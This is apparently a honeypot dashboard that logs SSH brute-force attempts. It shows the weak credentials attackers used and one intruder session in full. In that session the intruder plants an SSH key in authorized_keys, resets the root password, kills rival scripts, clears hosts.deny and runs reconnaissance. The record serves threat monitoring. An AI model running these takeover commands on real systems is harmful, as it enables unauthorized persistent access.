Adversarial Observation Interface

160.202.144.208

2026-09-30 01:26:08.810495 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d5c039ee3f19

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "d5c039ee3f19",
  "src_ip": "160.202.144.208",
  "start_time": "2026-09-30T01:26:08.810495Z",
  "end_time": "2026-09-30T01:26:08.813797Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

160.202.144.208

2026-09-30 01:26:03.834514 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a24881644472

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "a24881644472",
  "src_ip": "160.202.144.208",
  "start_time": "2026-09-30T01:26:03.834514Z",
  "end_time": "2026-09-30T01:26:03.837922Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.53.159.196

2026-09-30 01:23:28.010741 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 11af13b275ba

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "11af13b275ba",
  "src_ip": "176.53.159.196",
  "start_time": "2026-09-30T01:23:28.010741Z",
  "end_time": "2026-09-30T01:23:29.330762Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

45.148.10.152

2026-09-30 01:02:23.860864 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fd23e3ee2b34

Client Version: SSH-2.0-PUTTY

Engagement Duration: 0.8s

HASSH Fingerprint: 5bd26477da5440a6187bd3f1b39a429c

{
  "id": "fd23e3ee2b34",
  "src_ip": "45.148.10.152",
  "start_time": "2026-09-30T01:02:23.860864Z",
  "end_time": "2026-09-30T01:02:24.631330Z",
  "duration": "0.8",
  "version": "SSH-2.0-PUTTY",
  "hassh": "5bd26477da5440a6187bd3f1b39a429c",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

193.24.211.218

2026-09-30 01:02:21.902138 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ubnt

Record ID: 69d72f726bc0

Client Version: SSH-2.0-libssh2_1.11.0

Engagement Duration: 2.2s

HASSH Fingerprint: 14b2ddda386a4d1006108ccd231b42fc

{
  "id": "69d72f726bc0",
  "src_ip": "193.24.211.218",
  "start_time": "2026-09-30T01:02:21.902138Z",
  "end_time": "2026-09-30T01:02:24.099483Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh2_1.11.0",
  "hassh": "14b2ddda386a4d1006108ccd231b42fc",
  "attempts": [
    {
      "user": "ubnt",
      "pass": "ubnt"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

93.123.109.6

2026-09-30 00:55:28.249583 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e119a14c1ca3

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "e119a14c1ca3",
  "src_ip": "93.123.109.6",
  "start_time": "2026-09-30T00:55:28.249583Z",
  "end_time": "2026-09-30T00:55:28.403915Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

138.84.62.150

2026-09-30 00:52:20.232981 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2229dda331e5

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "2229dda331e5",
  "src_ip": "138.84.62.150",
  "start_time": "2026-09-30T00:52:20.232981Z",
  "end_time": "2026-09-30T00:52:20.236293Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.25

2026-09-30 00:51:58.326912 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / tactical

Record ID: d00021b9c830

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.1s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "d00021b9c830",
  "src_ip": "2.57.121.25",
  "start_time": "2026-09-30T00:51:58.326912Z",
  "end_time": "2026-09-30T00:52:04.388837Z",
  "duration": "6.1",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "tactical"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

138.84.62.150

2026-09-30 00:51:52.399465 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4cbe66af2504

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "4cbe66af2504",
  "src_ip": "138.84.62.150",
  "start_time": "2026-09-30T00:51:52.399465Z",
  "end_time": "2026-09-30T00:51:52.402628Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

45.238.39.18

2026-09-30 00:51:31.919301 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2bdde9bcd944

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "2bdde9bcd944",
  "src_ip": "45.238.39.18",
  "start_time": "2026-09-30T00:51:31.919301Z",
  "end_time": "2026-09-30T00:51:31.922737Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

45.238.39.18

2026-09-30 00:50:25.897474 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6562e477a7b4

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "6562e477a7b4",
  "src_ip": "45.238.39.18",
  "start_time": "2026-09-30T00:50:25.897474Z",
  "end_time": "2026-09-30T00:50:25.900881Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

193.46.255.86

2026-09-30 00:49:38.416705 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / paxton

Record ID: 10b4003e05fb

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "10b4003e05fb",
  "src_ip": "193.46.255.86",
  "start_time": "2026-09-30T00:49:38.416705Z",
  "end_time": "2026-09-30T00:49:44.421403Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "paxton"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

121.225.55.137

2026-09-30 00:45:50.529577 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5033a8164f89

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "5033a8164f89",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:45:50.529577Z",
  "end_time": "2026-09-30T00:47:50.549253Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:44:17.754163 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a667f778f99e

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "a667f778f99e",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:44:17.754163Z",
  "end_time": "2026-09-30T00:46:17.786520Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:42:45.506571 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2cc74e1c6d65

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "2cc74e1c6d65",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:42:45.506571Z",
  "end_time": "2026-09-30T00:44:45.521306Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:41:11.286425 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1fbe84b6c7da

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "1fbe84b6c7da",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:41:11.286425Z",
  "end_time": "2026-09-30T00:43:11.301208Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:39:39.741824 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 69470cd2bf4e

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "69470cd2bf4e",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:39:39.741824Z",
  "end_time": "2026-09-30T00:41:39.750326Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:38:08.099399 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 56d68a394ea3

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "56d68a394ea3",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:38:08.099399Z",
  "end_time": "2026-09-30T00:40:08.132877Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

2.57.121.112

2026-09-30 00:36:53.642493 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: kacey

Record ID: 25a5d02ad7dd

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.6s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "25a5d02ad7dd",
  "src_ip": "2.57.121.112",
  "start_time": "2026-09-30T00:36:53.642493Z",
  "end_time": "2026-09-30T00:37:00.197491Z",
  "duration": "6.6",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "kacey",
      "pass": "kacey"
    },
    {
      "user": "kacey",
      "pass": "kacey1"
    },
    {
      "user": "kacey",
      "pass": "kacey123"
    },
    {
      "user": "kacey",
      "pass": "kacey1234"
    },
    {
      "user": "kacey",
      "pass": "kacey12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

121.225.55.137

2026-09-30 00:36:34.259270 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 87de61073987

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "87de61073987",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:36:34.259270Z",
  "end_time": "2026-09-30T00:38:34.289171Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:35:02.322225 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: aafc8fc98f53

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "aafc8fc98f53",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:35:02.322225Z",
  "end_time": "2026-09-30T00:37:02.329398Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:33:44.275901 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 28db95fd014d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "28db95fd014d",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:33:44.275901Z",
  "end_time": "2026-09-30T00:35:44.288745Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:33:35.846673 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 89624841f399

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "89624841f399",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:33:35.846673Z",
  "end_time": "2026-09-30T00:35:35.851164Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:33:32.000514 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 340

Credential acceptance event recorded. Target authentication: root / tongtong

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l

[obs-node]:~$ echo "root:3Nw42oK3OlPt"|chpasswd|bash

[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

[obs-node]:~$ ls -lh $(which ls)

[obs-node]:~$ which ls

[obs-node]:~$ crontab -l

[obs-node]:~$ w

[obs-node]:~$ uname -m

[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l

[obs-node]:~$ top

[obs-node]:~$ uname

[obs-node]:~$ uname -a

[obs-node]:~$ whoami

[obs-node]:~$ lscpu | grep Model

[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

Record ID: dabfaf9f9365

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 37.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "dabfaf9f9365",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:33:32.000514Z",
  "end_time": "2026-09-30T00:34:09.921416Z",
  "duration": "37.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "tongtong"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:3Nw42oK3OlPt\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:3Nw42oK3OlPt\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}

121.225.55.137

2026-09-30 00:31:56.356850 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e237c919e01e

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "e237c919e01e",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:31:56.356850Z",
  "end_time": "2026-09-30T00:33:56.361498Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:30:22.139498 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f860f263a48e

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "f860f263a48e",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:30:22.139498Z",
  "end_time": "2026-09-30T00:32:22.160068Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:28:48.541928 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b29c26a79f5e

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "b29c26a79f5e",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:28:48.541928Z",
  "end_time": "2026-09-30T00:30:48.559289Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:27:13.765318 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 127cfb8f83ef

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "127cfb8f83ef",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:27:13.765318Z",
  "end_time": "2026-09-30T00:29:13.794873Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:25:39.515060 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f67d254c8130

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "f67d254c8130",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:25:39.515060Z",
  "end_time": "2026-09-30T00:27:39.524307Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:24:08.495839 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2fac27dee81a

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "2fac27dee81a",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:24:08.495839Z",
  "end_time": "2026-09-30T00:26:08.526223Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:22:32.511813 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 72f8eee06113

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "72f8eee06113",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:22:32.511813Z",
  "end_time": "2026-09-30T00:24:32.540694Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:21:21.043270 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 60b5c06cdec1

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "60b5c06cdec1",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:21:21.043270Z",
  "end_time": "2026-09-30T00:23:21.054422Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:21:14.508591 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d9f384bb84cb

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "d9f384bb84cb",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:21:14.508591Z",
  "end_time": "2026-09-30T00:23:14.528984Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.225.55.137

2026-09-30 00:20:57.570065 UTC

COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 350

Credential acceptance event recorded. Target authentication: root / support2024

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

